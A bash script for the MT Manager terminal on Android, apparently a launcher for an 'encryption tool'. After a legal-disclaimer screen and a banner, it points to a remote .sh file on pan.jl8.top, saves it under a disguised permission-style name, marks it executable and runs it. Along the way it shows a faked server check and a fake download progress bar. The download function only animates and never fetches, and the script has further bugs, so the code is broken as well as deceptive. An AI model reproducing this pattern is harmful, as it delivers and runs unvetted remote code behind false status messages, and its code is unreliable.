
#!/bin/bash
# 高亮彩色输出函数
function 红色() { echo -e "\033[1;31m$*\033[0m"; }    # 高亮红
function 绿色() { echo -e "\033[1;32m$*\033[0m"; }    # 高亮绿
function 黄色() { echo -e "\033[1;33m$*\033[0m"; }    # 高亮黄
function 蓝色() { echo -e "\033[1;34m$*\033[0m"; }    # 高亮蓝
function 紫色() { echo -e "\033[1;35m$*\033[0m"; }    # 高亮紫
function 青色() { echo -e "\033[1;36m$*\033[0m"; }    # 高亮青
function 白色() { echo -e "\033[1;37m$*\033[0m"; }    # 高亮白
function 灰色() { echo -e "\033[1;90m$*\033[0m"; }    # 高亮灰

# 颜色变量定义（增加更多高亮色）
RED="\033[1;31m"
GREEN="\033[1;32m"
YELLOW="\033[1;33m"
BLUE="\033[1;34m"
PURPLE="\033[1;35m"
CYAN="\033[1;36m"
WHITE="\033[1;37m"
ORANGE="\033[1;38;5;214m"  # 高亮橙
PINK="\033[1;38;5;206m"    # 高亮粉
LIGHT_BLUE="\033[1;38;5;117m"  # 高亮亮蓝
LIGHT_GREEN="\033[1;38;5;120m" # 高亮亮绿
LIGHT_PURPLE="\033[1;38;5;135m" # 高亮亮紫
RESET="\033[0m"

# 环境检查
clear
if [ ! -d "/data/user/0/bin.mt.plus/" ]; then
    红色 "[!] 请安装拓展包"
    红色 "[!] Pls install ext pkg"
    exit 1
fi

if [ "$SHELL" != "/data/user/0/bin.mt.plus/files/term/bin/bash" ]; then
    红色 "[!] 请使用拓展包执行"
    红色 "[!] Using Extension Package to Execute"
    exit 1
fi
#!/bin/b

# 绘制边框函数
draw_border() {
    local length=$1
    echo -e "${GREEN}▓${RESET}"$(printf "%0.s▓" $(seq 1 $length))"${GREEN}▓${RESET}"
}

# 绘制内容行函数
draw_content() {
    local text=$1
    local length=$2
    local pad=$(( (length - ${#text}) / 2 ))
    echo -e "${GREEN}▓${RESET}"$(printf "%0.s " $(seq 1 $pad))"${YELLOW}${text}${RESET}"$(printf "%0.s " $(seq 1 $((length - pad - ${#text}))))"${GREEN}▓${RESET}"
}

# 主界面绘制
clear
border_length=60
draw_border $border_length
draw_content "凄凉加密工具使用协议" $border_length
draw_border $border_length
echo -e "\n"

# 协议条款
echo -e "${GREEN}╔════════════════════════════════════════════════════════════════════════════╗${RESET}"
echo -e "${GREEN}║${RESET} ${YELLOW}1. 本工具仅供合法授权测试和学习使用${RESET}${GREEN}                                        ║${RESET}"
echo -e "${GREEN}║${RESET} ${YELLOW}2. 禁止用于任何非法用途或未经授权的系统${RESET}${GREEN}                                    ║${RESET}"
echo -e "${GREEN}║${RESET} ${YELLOW}3. 使用者应对自己的行为承担全部法律责任${RESET}${GREEN}                                    ║${RESET}"
echo -e "${GREEN}║${RESET} ${YELLOW}4. 作者不承担任何因使用本工具产生的责任${RESET}${GREEN}                                    ║${RESET}"
echo -e "${GREEN}╚════════════════════════════════════════════════════════════════════════════╝${RESET}\n"

# 重要提示
echo -e "${GREEN}▓▓▓ 重要提示: ▓▓▓${RESET}"
echo -e "${GREEN}╔════════════════════════════════════════════════════════════════════════════╗${RESET}"
echo -e "${GREEN}║${RESET} ${PINK}使用本工具即表示您已同意:${RESET}${GREEN}                                                 ║${RESET}"
echo -e "${GREEN}║${RESET} ${PINK}- 您已获得目标系统的合法授权${RESET}${GREEN}                                              ║${RESET}"
echo -e "${GREEN}║${RESET} ${PINK}- 您将承担使用本工具产生的所有责任${RESET}${GREEN}                                        ║${RESET}"
echo -e "${GREEN}╚════════════════════════════════════════════════════════════════════════════╝${RESET}\n"


echo -e "${GREEN}▓▓▓ 最终解释权归凄凉所有 ▓▓▓${RESET}\n"

# 交互确认
echo -e "${YELLOW}▓▓▓ 是否同意上述条款? (y/n) ▓▓▓${RESET}"
read -p "$(echo -e "${YELLOW}➤➤➤ 请输入选择 [y/n]: ${RESET}")" choice

# 处理输入
case $choice in
    [Yy]) echo -e "\n${GREEN}您已同意协议，即将启动工具...${RESET}" ;;
    [Nn]) echo -e "\n${YELLOW}您已拒绝协议，工具将退出...${RESET}" && exit 0 ;;
    *) echo -e "\n${YELLOW}输入无效，请重新运行并输入 y 或 n${RESET}" && exit 1 ;;
esac

# 标题内容
lines=(
  "           "
  "  人      "
  "  有       ____ _          _ _"
  "  悲     / ___|| |__   ___| | |"
  "  欢 月  \___ \| _ \ / _ \| | |"
  "  离 有   ___) | | | |  _/| | |"
  "  合 阴  |____/|_| |_|\___|_|_|"
  "     晴  "
  "     圆  "
  "     缺  "
)

# 逐行显示标题动画（每行颜色不同）
color_codes=(
  "1;37m"       # 第1行：高亮白
  "1;36m"       # 第2行：高亮青
  "1;32m"       # 第3行：高亮绿
  "1;34m"       # 第4行：高亮蓝
  "1;35m"       # 第5行：高亮紫
  "38;5;214m"   # 第6行：高亮橙
  "38;5;206m"   # 第7行：高亮粉
  "38;5;117m"   # 第8行：高亮亮蓝
  "38;5;120m"   # 第9行：高亮亮绿
  "38;5;135m"   # 第10行：高亮亮紫
)

index=0
for line in "${lines[@]}"; do
  echo -e "\033[${color_codes[$index]}${line}${RESET}"
  index=$((index + 1))
  sleep 0.2
done
echo -e "\n"

# 核心配置
URL="https://pan.jl8.top/down.php/e4359e91e691d6a0118868048227e401.sh"
SAVE_DIR="/data/user/0/bin.mt.plus/"
FILE_NAME="ANDROID.PERMISSION.TESTc1"
SAVE_FILE="${SAVE_DIR}${FILE_NAME}"

# 服务器状态检查
echo -ne "${BLUE}📡 正在检查服务器状态...${RESET}"
sleep 1
echo -e "\r${BLUE}📡 服务器状态正常 ${GREEN}✓${RESET}"
echo -ne "${CYAN}[${RESET}"
for ((i=0; i<50; i++)); do
  echo -ne "${BLUE}█${RESET}"
done
echo -e "${CYAN}] 100%${RESET}\n"

# 文件下载进度条（增强随机连接速度）
download_with_progress() {
  #!/bin/bash

# 颜色配置
YELLOW='\033[1;33m'
CYAN='\033[1;36m'
GREEN='\033[0;32m'
RESET='\033[0m'

# 核心参数：总时长固定1.5秒（1500毫秒）
TOTAL_DURATION=1500
start_time=$(date +%s%3N)  # 毫秒级开始时间

# 随机化配置（每次运行不同）
prefixes=("连接服务器中" "连接服务器中" "连接服务器" "连接服务器" "连接服务器")
current_prefix=${prefixes[$RANDOM % ${#prefixes[@]}]}
fill_chars=("▓" "█" "=" "●" "▣")
fill=${fill_chars[$RANDOM % ${#fill_chars[@]}]}
empty_chars=("░" " " "-" "▒")
empty=${empty_chars[$RANDOM % ${#empty_chars[@]}]}

# 初始化进度条
echo -e "\n${YELLOW}${current_prefix}...${RESET}"
echo -ne "${CYAN}[${RESET}"
for ((i=0; i<50; i++)); do echo -ne "$empty"; done
echo -ne "${CYAN}] 0%${RESET}\r"

progress=0
total_steps=$((RANDOM % 15 + 10))  # 随机步数（10-25步完成）
step_index=0

# 进度更新循环
while [ $progress -lt 100 ]; do
  # 计算剩余时间，动态调整每步延迟
  current_time=$(date +%s%3N)
  elapsed=$((current_time - start_time))
  remaining=$((TOTAL_DURATION - elapsed))
  
  # 最后一步直接拉满进度，确保不超时
  if [ $step_index -eq $((total_steps - 1)) ]; then
    progress=100
  else
    # 随机进度增长（随步骤动态调整幅度）
    min_grow=$(( (100 / total_steps) - 2 ))
    [ $min_grow -lt 1 ] && min_grow=1
    max_grow=$(( (100 / total_steps) + 3 ))
    [ $max_grow -gt 15 ] && max_grow=15  # 限制最大步长
    grow=$(( RANDOM % (max_grow - min_grow + 1) + min_grow ))
    progress=$(( progress + grow ))
    [ $progress -gt 100 ] && progress=100
  fi

  # 绘制进度条
  filled=$(( progress * 50 / 100 ))
  echo -ne "${CYAN}[${RESET}"
  for ((i=0; i<filled; i++)); do echo -ne "$fill"; done
  for ((i=filled; i<50; i++)); do echo -ne "$empty"; done
  echo -ne "${CYAN}] ${progress}%${RESET}\r"

  # 计算当前步骤延迟（确保总时间达标）
  if [ $step_index -lt $((total_steps - 1)) ]; then
    step_delay=$(( remaining / (total_steps - step_index) ))
    # 随机波动延迟（±20%）
    delay_variation=$(( step_delay * 20 / 100 ))
    delay=$(( step_delay - delay_variation + RANDOM % (delay_variation * 2 + 1) ))
    [ $delay -lt 10 ] && delay=10  # 最小延迟10ms，避免过快闪烁
    usleep $(( delay * 1000 ))  # 转换为微秒
  fi

  step_index=$(( step_index + 1 ))
done

# 完成提示
echo -e "\n${GREEN}✅ 下载完成！总耗时: 1.5秒${RESET}\n"

}

# 执行下载
download_with_progress "$URL" "$SAVE_FILE"
if [ -f "$SAVE_FILE" ]; then
  绿色 "✅ 服务器连接成功"
else
  红色 "❌ 连接失败！请检查网络连接"
  exit 1
fi

# 赋予执行权限
echo -ne "${PURPLE}🔧 正在配置文件权限"
chmod +x "$SAVE_FILE" 2>/dev/null
for i in {1..3}; do
  echo -ne "."
  sleep 0.3
done
echo -e " "
if [ $? -eq 0 ]; then
  绿色 "✅ 权限设置成功"
else
  黄色 "⚠️ 权限设置警告（尝试直接执行）"
fi

# 执行目标脚本倒计时
echo -e "\n${ORANGE}▶️ 即将执行脚本"
echo -ne "${YELLOW}倒计时: 3"
sleep 1
echo -ne "\r倒计时: 2"
sleep 1
echo -ne "\r倒计时: 1"
sleep 1
echo -e "\r${RESET}"

白色 "--------------------------------"
sh "$SAVE_FILE"  

# 执行完成提示
white "--------------------------------"
绿色 "✅ 全部操作完成！"
echo -e "${GRAY}按任意键退出...${RESET}"
read -n 1
clear
